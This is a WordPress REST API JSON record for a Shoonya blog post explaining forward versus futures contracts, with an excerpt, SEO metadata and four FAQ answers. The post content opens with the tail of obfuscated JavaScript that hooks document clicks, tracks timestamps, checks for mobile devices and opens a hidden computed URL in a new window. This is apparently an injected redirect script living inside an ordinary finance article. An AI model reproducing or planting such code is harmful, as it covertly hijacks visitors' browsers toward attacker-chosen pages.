Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Are you also one of those traders who often get confused between forward and future contracts? Not a big deal! These derivatives trading contracts seem to confuse almost everyone. What are they, and what is the actual difference between forward and future contracts? Let us understand them today with a forward and future contract example. &hellip; <a href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Understanding the Difference Between Forward and Future Contract&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7218,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[36],"tags":[3648,3652,3647,3649,3651,3650,56],"class_list":["post-7216","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-derivatives","tag-difference-between-a-forward-and-future-contract","tag-forward-contract-example","tag-forward-contract-meaning","tag-future-contract-meaning","tag-futures-contract-example","tag-types-of-forward-contracts","tag-types-of-future-contracts"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>What is the Key Difference Between Forward and Future Contract<\/title>\n<meta name=\"description\" content=\"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"What is the Key Difference Between Forward and Future Contract\" \/>\n<meta property=\"og:description\" content=\"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-04-04T11:41:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-06-03T05:41:00+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"What is the Key Difference Between Forward and Future Contract\" \/>\n<meta name=\"twitter:description\" content=\"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Understanding the Difference Between Forward and Future Contract\",\"datePublished\":\"2024-04-04T11:41:00+00:00\",\"dateModified\":\"2025-06-03T05:41:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/\"},\"wordCount\":1385,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\",\"keywords\":[\"difference between a forward and future contract\",\"forward contract example\",\"forward contract meaning\",\"future contract meaning\",\"futures contract example\",\"types of forward contracts\",\"types of Future Contracts\"],\"articleSection\":[\"Derivatives\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/\",\"name\":\"What is the Key Difference Between Forward and Future Contract\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\",\"datePublished\":\"2024-04-04T11:41:00+00:00\",\"dateModified\":\"2025-06-03T05:41:00+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229810704\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229823825\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229835553\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229852145\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"What is the Key Difference Between Forward and Future Contract\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Derivatives\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/derivatives\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Understanding the Difference Between Forward and Future Contract\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229810704\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229810704\",\"name\":\"What is the difference between forward price and future price?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Forward price is fixed at the contract's beginning, while future price fluctuates daily on the exchange market.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229823825\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229823825\",\"name\":\"What is the difference between futures contracts and futures options?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"A futures contract mandates buying or selling at a set date, whereas futures options grant the right, but not the obligation, to do so.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229835553\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229835553\",\"name\":\"What is the difference between a forward rate and a forward contract?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The forward rate is the agreed-upon future price in a forward contract, while the forward contract includes this rate and other exchange terms.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229852145\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/difference-between-a-forward-and-future-contract\\\/#faq-question-1712229852145\",\"name\":\"What is the meaning of a forward contract?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"A forward contract is a customised agreement to buy or sell an asset at a predetermined price on a specified future date.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"What is the Key Difference Between Forward and Future Contract","description":"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/","og_locale":"en_US","og_type":"article","og_title":"What is the Key Difference Between Forward and Future Contract","og_description":"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.","og_url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2024-04-04T11:41:00+00:00","article_modified_time":"2025-06-03T05:41:00+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"What is the Key Difference Between Forward and Future Contract","twitter_description":"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Understanding the Difference Between Forward and Future Contract","datePublished":"2024-04-04T11:41:00+00:00","dateModified":"2025-06-03T05:41:00+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/"},"wordCount":1385,"image":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","keywords":["difference between a forward and future contract","forward contract example","forward contract meaning","future contract meaning","futures contract example","types of forward contracts","types of Future Contracts"],"articleSection":["Derivatives"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/","url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/","name":"What is the Key Difference Between Forward and Future Contract","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","datePublished":"2024-04-04T11:41:00+00:00","dateModified":"2025-06-03T05:41:00+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"The difference between forward and future contracts is that formal are private, customisable OTC deals, but futures are exchange-traded contracts.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229810704"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229823825"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229835553"},{"@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229852145"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/What-is-the-Key-Difference-Between-Forward-and-Future-Contract.jpg","width":1920,"height":1080,"caption":"What is the Key Difference Between Forward and Future Contract"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Derivatives","item":"https:\/\/shoonya.com\/blog\/derivatives\/"},{"@type":"ListItem","position":3,"name":"Understanding the Difference Between Forward and Future Contract"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229810704","position":1,"url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229810704","name":"What is the difference between forward price and future price?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Forward price is fixed at the contract's beginning, while future price fluctuates daily on the exchange market.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229823825","position":2,"url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229823825","name":"What is the difference between futures contracts and futures options?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"A futures contract mandates buying or selling at a set date, whereas futures options grant the right, but not the obligation, to do so.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229835553","position":3,"url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229835553","name":"What is the difference between a forward rate and a forward contract?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The forward rate is the agreed-upon future price in a forward contract, while the forward contract includes this rate and other exchange terms.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229852145","position":4,"url":"https:\/\/shoonya.com\/blog\/difference-between-a-forward-and-future-contract\/#faq-question-1712229852145","name":"What is the meaning of a forward contract?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"A forward contract is a customised agreement to buy or sell an asset at a predetermined price on a specified future date.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7216","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=7216"}],"version-history":[{"count":2,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7216\/revisions"}],"predecessor-version":[{"id":12834,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7216\/revisions\/12834"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/7218"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=7216"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=7216"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=7216"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}